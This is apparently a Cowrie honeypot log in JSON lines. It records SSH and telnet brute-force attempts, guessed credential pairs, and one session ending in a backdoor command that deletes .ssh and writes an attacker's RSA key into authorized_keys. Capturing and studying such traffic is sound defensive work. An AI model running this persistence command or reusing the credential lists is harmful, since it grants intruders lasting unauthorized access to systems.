{"eventid":"cowrie.session.connect","src_ip":"203.90.110.186","src_port":56270,"dst_ip":"10.17.0.5","dst_port":22,"session":"499a3ee2f9b8","protocol":"ssh","message":"New connection: 203.90.110.186:56270 (10.17.0.5:22) [session: 499a3ee2f9b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:10.371648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:10.380214Z","src_ip":"203.90.110.186","session":"499a3ee2f9b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:10.604808Z","src_ip":"203.90.110.186","session":"499a3ee2f9b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":39734,"dst_ip":"159.203.135.109","dst_port":23,"session":"d98c9488420d","protocol":"telnet","message":"New connection: 162.248.7.67:39734 (159.203.135.109:23) [session: d98c9488420d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:11.019828Z"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:11.550873Z","src_ip":"203.90.110.186","session":"499a3ee2f9b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:12.778334Z","src_ip":"203.90.110.186","session":"499a3ee2f9b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.90.110.186","src_port":56286,"dst_ip":"10.17.0.5","dst_port":22,"session":"d192f9a41bce","protocol":"ssh","message":"New connection: 203.90.110.186:56286 (10.17.0.5:22) [session: d192f9a41bce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:13.004014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:13.009529Z","src_ip":"203.90.110.186","session":"d192f9a41bce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:13.244401Z","src_ip":"203.90.110.186","session":"d192f9a41bce","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:14.207952Z","src_ip":"203.90.110.186","session":"d192f9a41bce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:14.451595Z","src_ip":"203.90.110.186","session":"d192f9a41bce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.8","message":"Connection lost after 6.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:14.457124Z","src_ip":"203.90.110.186","session":"394d150ed66b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.59153652191162,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:15.053675Z","src_ip":"162.248.7.67","session":"00bbc250eab5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.629257202148438,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:15.587687Z","src_ip":"162.248.7.67","session":"1beb9ec1800d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.2638041973114,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:21.368338Z","src_ip":"162.248.7.67","session":"92ae1ac1bcb9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.211.152.138","src_port":45400,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3030080e70e","protocol":"ssh","message":"New connection: 102.211.152.138:45400 (159.203.135.109:22) [session: c3030080e70e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:23.560696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:23.566914Z","src_ip":"102.211.152.138","session":"c3030080e70e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:23.675485Z","src_ip":"102.211.152.138","session":"c3030080e70e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user01","password":"user01","message":"login attempt [user01/user01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:24.139850Z","src_ip":"102.211.152.138","session":"c3030080e70e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.182.235.153","src_port":51758,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa9b8b89f7a5","protocol":"telnet","message":"New connection: 107.182.235.153:51758 (10.17.0.5:23) [session: fa9b8b89f7a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:25.066171Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:25.251690Z","src_ip":"102.211.152.138","session":"c3030080e70e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.182.235.153","src_port":38286,"dst_ip":"10.17.0.5","dst_port":23,"session":"e43edad7e55a","protocol":"telnet","message":"New connection: 107.182.235.153:38286 (10.17.0.5:23) [session: e43edad7e55a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:27.169775Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":59202,"dst_ip":"10.17.0.5","dst_port":23,"session":"f66d3a896ec4","protocol":"telnet","message":"New connection: 137.184.155.248:59202 (10.17.0.5:23) [session: f66d3a896ec4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:27.386940Z"}
{"eventid":"cowrie.session.closed","duration":30.914242029190063,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:29.385098Z","src_ip":"162.248.7.67","session":"dc1c5bf679df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00198888778687,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:32.990339Z","src_ip":"182.253.54.171","session":"55423305796b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.54.171","src_port":12984,"dst_ip":"10.17.0.5","dst_port":23,"session":"ecab95708a6f","protocol":"telnet","message":"New connection: 182.253.54.171:12984 (10.17.0.5:23) [session: ecab95708a6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:34.529104Z"}
{"eventid":"cowrie.session.closed","duration":31.130196809768677,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:35.250507Z","src_ip":"162.248.7.67","session":"d47868369910","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.800272703170776,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:36.169977Z","src_ip":"162.248.7.67","session":"00f16d73a581","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.871889114379883,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:36.383871Z","src_ip":"162.248.7.67","session":"3cd748967ed4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":37522,"dst_ip":"10.17.0.5","dst_port":23,"session":"a61bafa788a8","protocol":"telnet","message":"New connection: 137.184.155.248:37522 (10.17.0.5:23) [session: a61bafa788a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:39.673653Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":37536,"dst_ip":"10.17.0.5","dst_port":23,"session":"385725d3da7a","protocol":"telnet","message":"New connection: 137.184.155.248:37536 (10.17.0.5:23) [session: 385725d3da7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:40.238784Z"}
{"eventid":"cowrie.session.closed","duration":30.86590886116028,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:41.885599Z","src_ip":"162.248.7.67","session":"d98c9488420d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00162410736084,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:43.403634Z","src_ip":"182.253.54.171","session":"064bf800369b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.708345174789429,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:45.947006Z","src_ip":"137.184.155.248","session":"385725d3da7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.35477638244629,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:47.088583Z","src_ip":"137.184.155.248","session":"b89211a377e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.22699522972107,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:47.118068Z","src_ip":"137.184.155.248","session":"52f5d880c9e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.182.235.153","src_port":42846,"dst_ip":"10.17.0.5","dst_port":23,"session":"359b6e29b507","protocol":"telnet","message":"New connection: 107.182.235.153:42846 (10.17.0.5:23) [session: 359b6e29b507]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:47.539197Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.157.98.118","src_port":33552,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c562fd5008f","protocol":"ssh","message":"New connection: 43.157.98.118:33552 (159.203.135.109:22) [session: 8c562fd5008f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:47.788104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:47.792909Z","src_ip":"43.157.98.118","session":"8c562fd5008f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:47.880075Z","src_ip":"43.157.98.118","session":"8c562fd5008f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin01","message":"login attempt [root/admin01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:48.553529Z","src_ip":"43.157.98.118","session":"8c562fd5008f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.27.90.142","src_port":61480,"dst_ip":"159.203.135.109","dst_port":22,"session":"155ed68a2999","protocol":"ssh","message":"New connection: 178.27.90.142:61480 (159.203.135.109:22) [session: 155ed68a2999]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:49.218040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:49.222544Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:49.320652Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:49.648408Z","src_ip":"43.157.98.118","session":"8c562fd5008f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"adminadmin123","message":"login attempt [admin/adminadmin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:49.755202Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:50.000619Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:50.004191Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:50.008352Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:50.111945Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:50.359664Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:50.363393Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:50.466547Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
